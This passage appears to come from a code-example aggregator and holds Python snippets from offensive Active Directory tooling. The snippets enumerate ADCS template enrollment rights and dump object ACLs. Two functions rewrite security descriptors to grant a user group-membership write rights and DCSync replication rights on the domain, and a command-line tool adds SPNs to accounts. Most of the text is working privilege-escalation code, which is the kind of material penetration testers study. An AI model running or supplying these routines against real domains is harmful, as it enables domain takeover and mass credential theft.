            "CN=Certificate Templates,CN=Public Key Services,CN=Services," +
            configuration_naming_context,
            "(&(objectClass=pKICertificateTemplate)(|%s))" % "".join(
                ("(name=" + tpl + ")" for tpl in offered_templates)),
            search_scope=ldap3.LEVEL,
            attributes=certificate_template_attributes,
            controls=security_descriptor_control(sdflags=0x04))

        for entry in (e for e in self.client.response
                      if is_template_for_authentification(e)):
            enrollment_principals = get_enrollment_principals(entry)

            known_sids = set(sid_map.keys())
            unknwown_sids = enrollment_principals.difference(known_sids)
            sid_map.update(translate_sids(unknwown_sids))

            LOG.info("Principals who can enroll using template `%s`: %s" %
                     (entry["attributes"]["name"], ", ".join(
                         ("`" + sid_map[principal] + "`"
                          for principal in enrollment_principals))))

        LOG.info("Done dumping ADCS info")
Esempio n. 17
0
    def get_objectacl(self, queried_domain=str(), queried_sid=str(),
                     queried_name=str(), queried_sam_account_name=str(),
                     ads_path=str(), sacl=False, rights_filter=str(),
                     resolve_sids=False, resolve_guids=False, custom_filter=str()):
        for attr_desc, attr_value in (('objectSid', queried_sid), ('name', escape_filter_chars(queried_name)),
                                      ('samAccountName', escape_filter_chars(queried_sam_account_name))):
            if attr_value:
                object_filter = '(&({}={}){})'.format(attr_desc, attr_value, custom_filter)
                break
        else:
            object_filter = '(&(name=*){})'.format(custom_filter)

        guid_map = dict()
        # This works on a mono-domain forest, must be tested on a more complex one
        if resolve_guids:
            # Dirty fix to get base DN even if custom ADS path was given
            base_dn = ','.join(self._base_dn.split(',')[-2:])
            guid_map = {'{00000000-0000-0000-0000-000000000000}': 'All'}
            with NetRequester(self._domain_controller, self._domain, self._user, self._password,
                  self._lmhash, self._nthash, self._do_kerberos, self._do_tls) as net_requester:
                for o in net_requester.get_adobject(ads_path='CN=Schema,CN=Configuration,{}'.format(base_dn),
                        attributes=['name', 'schemaIDGUID'], custom_filter='(schemaIDGUID=*)'):
                    guid_map['{{{}}}'.format(o.schemaidguid)] = o.name

                for o in net_requester.get_adobject(ads_path='CN=Extended-Rights,CN=Configuration,{}'.format(base_dn),
                        attributes=['name', 'rightsGuid'], custom_filter='(objectClass=controlAccessRight)'):
                    guid_map['{{{}}}'.format(o.rightsguid.lower())] = o.name

        attributes = ['distinguishedname', 'objectsid', 'ntsecuritydescriptor']
        if sacl:
            controls = list()
            acl_type = 'Sacl'
        else:
            # The control is used to get access to ntSecurityDescriptor with an
            # unprivileged user, see https://stackoverflow.com/questions/40771503/selecting-the-ad-ntsecuritydescriptor-attribute-as-a-non-admin/40773088
            # /!\ May break pagination from what I've read (see Stack Overflow answer)
            controls = security_descriptor_control(criticality=True, sdflags=0x07)
            acl_type = 'Dacl'

        security_descriptors = self._ldap_search(object_filter, adobj.ADObject,
                attributes=attributes, controls=controls)

        acl = list()

        rights_to_guid = {'reset-password': '******',
                'write-members': '{bf9679c0-0de6-11d0-a285-00aa003049e2}',
                'all': '{00000000-0000-0000-0000-000000000000}'}
        guid_filter = rights_to_guid.get(rights_filter, None)

        if resolve_sids:
            sid_resolver = NetRequester(self._domain_controller, self._domain,
                    self._user, self._password, self._lmhash, self._nthash,
                    self._do_kerberos, self._do_tls)
            sid_mapping = adobj.ADObject._well_known_sids.copy()
        else:
            sid_resolver = None

        for security_descriptor in security_descriptors:
            sd = SR_SECURITY_DESCRIPTOR()
            try:
                sd.fromString(security_descriptor.ntsecuritydescriptor)
            except TypeError:
                continue
            for ace in sd[acl_type]['Data']:
                if guid_filter:
                    try:
                        object_type = format_uuid_le(ace['Ace']['ObjectType']) if ace['Ace']['ObjectType'] else '{00000000-0000-0000-0000-000000000000}'
                    except KeyError:
                        continue
                    if object_type != guid_filter:
                        continue
                attributes = dict()
                attributes['objectdn'] = security_descriptor.distinguishedname
                attributes['objectsid'] = security_descriptor.objectsid
                attributes['acetype'] = ace['TypeName']
                attributes['binarysize'] = ace['AceSize']
                attributes['aceflags'] = fmt.format_ace_flags(ace['AceFlags'])
                attributes['accessmask'] = ace['Ace']['Mask']['Mask']
                attributes['activedirectoryrights'] = fmt.format_ace_access_mask(ace['Ace']['Mask']['Mask'])
                attributes['isinherited'] = bool(ace['AceFlags'] & 0x10)
                attributes['securityidentifier'] = format_sid(ace['Ace']['Sid'].getData())
                if sid_resolver:
                    converted_sid = attributes['securityidentifier']
                    try:
                        resolved_sid = sid_mapping[converted_sid]
                    except KeyError:
                        try:
                            resolved_sid = sid_resolver.get_adobject(queried_sid=converted_sid,
                                    queried_domain=self._queried_domain, attributes=['distinguishedname'])[0]
                            resolved_sid = resolved_sid.distinguishedname
                        except IndexError:
                            self._logger.warning('We did not manage to resolve this SID ({}) against the DC'.format(converted_sid))
                            resolved_sid = attributes['securityidentifier']
                    finally:
                        sid_mapping[converted_sid] = resolved_sid
                        attributes['securityidentifier'] = resolved_sid
                try:
                    attributes['objectaceflags'] = fmt.format_object_ace_flags(ace['Ace']['Flags'])
                except KeyError:
                    pass
                try:
                    attributes['objectacetype'] = format_uuid_le(ace['Ace']['ObjectType']) if ace['Ace']['ObjectType'] else '{00000000-0000-0000-0000-000000000000}'
                    attributes['objectacetype'] = guid_map[attributes['objectacetype']]
                except KeyError:
                    pass
                try:
                    attributes['inheritedobjectacetype'] = format_uuid_le(ace['Ace']['InheritedObjectType']) if ace['Ace']['InheritedObjectType'] else '{00000000-0000-0000-0000-000000000000}'
                    attributes['inheritedobjectacetype'] = guid_map[attributes['inheritedobjectacetype']]
                except KeyError:
                    pass

                acl.append(adobj.ACE(attributes))

        return acl
Esempio n. 18
0
def add_addmember_privs(ldapconnection, state, user_sam, group_bh_name):
    # Query for the sid of our target user
    userdn, usersid = get_object_info(ldapconnection, user_sam)

    # Set SD flags to only query for DACL
    controls = security_descriptor_control(sdflags=0x04)

    # Dictionary for restore data
    restoredata = {}

    # print_m('Querying group security descriptor')
    group_sam = get_sam_name(group_bh_name)
    ldapconnection.search(
        get_ldap_root(ldapconnection),
        '(sAMAccountName=%s)' % escape_filter_chars(group_sam),
        attributes=['SAMAccountName', 'nTSecurityDescriptor'],
        controls=controls)
    entry = ldapconnection.entries[0]

    secDescData = entry['nTSecurityDescriptor'].raw_values[0]
    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

    # Save old SD for restore purposes
    restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
    restoredata['target_sid'] = usersid

    # We need "write property" here to write to the "member" attribute
    accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP
    # this is the GUID of the Member attribute
    secDesc['Dacl']['Data'].append(
        create_object_ace('bf9679c0-0de6-11d0-a285-00aa003049e2', usersid,
                          accesstype))
    dn = entry.entry_dn
    restoredata['target_dn'] = dn
    data = secDesc.getData()
    res = ldapconnection.modify(
        dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])},
        controls=controls)
    if res:
        print_o('Dacl modification successful')
        # Query the SD again to see what AD made of it
        ldapconnection.search(
            dn,
            '(objectClass=*)',
            search_scope=ldap3.BASE,
            attributes=['SAMAccountName', 'nTSecurityDescriptor'],
            controls=controls)
        entry = ldapconnection.entries[0]
        newSD = entry['nTSecurityDescriptor'].raw_values[0]
        newSecDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=newSD)
        # Save this to restore the SD later on
        restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
        restoredata['success'] = True
        state.push_history('add_addmember_privs', restoredata)
        return True
    else:
        restoredata['success'] = False
        state.push_history('add_addmember_privs', restoredata)
        # filter out already exists?
        raise ExploitException(
            'Failed to add WriteMember privs for %s to group %s: %s' %
            (userdn, dn, str(ldapconnection.result)))
Esempio n. 19
0
def main():
    parser = argparse.ArgumentParser(
        description='Add an SPN to a user/computer account')
    parser._optionals.title = "Main options"
    parser._positionals.title = "Required options"

    #Main parameters
    #maingroup = parser.add_argument_group("Main options")
    parser.add_argument(
        "host",
        metavar='HOSTNAME',
        help="Hostname/ip or ldap://host:port connection string to connect to")
    parser.add_argument("-u",
                        "--user",
                        metavar='USERNAME',
                        help="DOMAIN\\username for authentication")
    parser.add_argument(
        "-p",
        "--password",
        metavar='PASSWORD',
        help="Password or LM:NTLM hash, will prompt if not specified")
    parser.add_argument(
        "-t",
        "--target",
        metavar='TARGET',
        help=
        "Computername or username to target (FQDN or COMPUTER$ name, if unspecified user with -u is target)"
    )
    parser.add_argument(
        "-s",
        "--spn",
        required=True,
        metavar='SPN',
        help=
        "servicePrincipalName to add (for example: http/host.domain.local or cifs/host.domain.local)"
    )
    parser.add_argument("-r",
                        "--remove",
                        action='store_true',
                        help="Remove the SPN instead of add it")
    parser.add_argument(
        "-q",
        "--query",
        action='store_true',
        help="Show the current target SPNs instead of modifying anything")
    parser.add_argument(
        "-a",
        "--additional",
        action='store_true',
        help="Add the SPN via the msDS-AdditionalDnsHostName attribute")

    args = parser.parse_args()
    #Prompt for password if not set
    authentication = None
    if args.user is not None:
        authentication = NTLM
        if not '\\' in args.user:
            print_f('Username must include a domain, use: DOMAIN\\username')
            sys.exit(1)
        if args.password is None:
            args.password = getpass.getpass()

    controls = security_descriptor_control(sdflags=0x04)
    # define the server and the connection
    s = Server(args.host, get_info=ALL)
    print_m('Connecting to host...')
    c = Connection(s,
                   user=args.user,
                   password=args.password,
                   authentication=authentication)
    print_m('Binding to host')
    # perform the Bind operation
    if not c.bind():
        print_f('Could not bind with specified credentials')
        print_f(c.result)
        sys.exit(1)
    print_o('Bind OK')

    if args.target:
        targetuser = args.target
    else:
        targetuser = args.user.split('\\')[1]

    if '.' in targetuser:
        search = '(dnsHostName=%s)' % targetuser
    else:
        search = '(SAMAccountName=%s)' % targetuser
    c.search(s.info.other['defaultNamingContext'][0],
             search,
             controls=controls,
             attributes=[
                 'SAMAccountName', 'servicePrincipalName', 'dnsHostName',
                 'msds-additionaldnshostname'
             ])

    try:
        targetobject = c.entries[0]
        print_o('Found modification target')
    except IndexError:
        print_f('Target not found!')
        return

    if args.remove:
        operation = ldap3.MODIFY_DELETE
    else:
        operation = ldap3.MODIFY_ADD

    if args.query:
        # If we only want to query it
        print(targetobject)
        return

    if not args.additional:
        c.modify(targetobject.entry_dn,
                 {'servicePrincipalName': [(operation, [args.spn])]})
    else:
        try:
            host = args.spn.split('/')[1]
        except IndexError:
            # Assume this is the hostname
            host = args.spn
        c.modify(targetobject.entry_dn,
                 {'msds-additionaldnshostname': [(operation, [host])]})

    if c.result['result'] == 0:
        print_o('SPN Modified successfully')
    else:
        if c.result['result'] == 50:
            print_f(
                'Could not modify object, the server reports insufficient rights: %s'
                % c.result['message'])
        elif c.result['result'] == 19:
            print_f(
                'Could not modify object, the server reports a constrained violation'
            )
            if args.additional:
                print_f(
                    'You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs ending on the domain FQDN)'
                )
            else:
                print_f(
                    'You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs matching the hostname)'
                )
                print_f(
                    'To add any SPN in the current domain, use --additional to add the SPN via the msDS-AdditionalDnsHostName attribute'
                )
        else:
            print_f('The server returned an error: %s' % c.result['message'])
Esempio n. 20
0
def add_domain_sync(ldapconnection, state, user_sam, domain_name):
    # Query for the sid of our target user
    userdn, usersid = get_object_info(ldapconnection, user_sam)

    # Set SD flags to only query for DACL
    controls = security_descriptor_control(sdflags=0x04)

    # Dictionary for restore data
    restoredata = {}

    # print_m('Querying domain security descriptor')
    ldapconnection.search(
        get_ldap_root(ldapconnection),
        '(&(objectCategory=domain))',
        attributes=['SAMAccountName', 'nTSecurityDescriptor'],
        controls=controls)
    entry = ldapconnection.entries[0]

    # This shouldn't happen but lets be sure just in case
    if ldap2domain(entry.entry_dn).upper() != domain_name.upper():
        raise ExploitException(
            'Wrong domain! LDAP returned the domain %s but escalation was requested to %s'
            % (ldap2domain(entry.entry_dn).upper(), domain_name.upper()))

    secDescData = entry['nTSecurityDescriptor'].raw_values[0]

    # Save old SD for restore purposes
    restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
    restoredata['target_sid'] = usersid

    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

    # We need "control access" here for the extended attribute
    accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS

    # these are the GUIDs of the get-changes and get-changes-all extended attributes
    secDesc['Dacl']['Data'].append(
        create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid,
                          accesstype))
    secDesc['Dacl']['Data'].append(
        create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid,
                          accesstype))

    dn = entry.entry_dn
    restoredata['target_dn'] = dn
    data = secDesc.getData()
    res = ldapconnection.modify(
        dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])},
        controls=controls)
    if res:
        print_o('Dacl modification successful')
        # Query the SD again to see what AD made of it
        ldapconnection.search(
            get_ldap_root(ldapconnection),
            '(&(objectCategory=domain))',
            attributes=['SAMAccountName', 'nTSecurityDescriptor'],
            controls=controls)
        entry = ldapconnection.entries[0]
        newSD = entry['nTSecurityDescriptor'].raw_values[0]
        # Save this to restore the SD later on
        restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
        restoredata['success'] = True
        state.push_history('add_domain_sync', restoredata)
        return True
    else:
        restoredata['success'] = False
        state.push_history('add_domain_sync', restoredata)
        raise ExploitException('Failed to add DCSync privs to %s: %s' %
                               (userdn, str(ldapconnection.result)))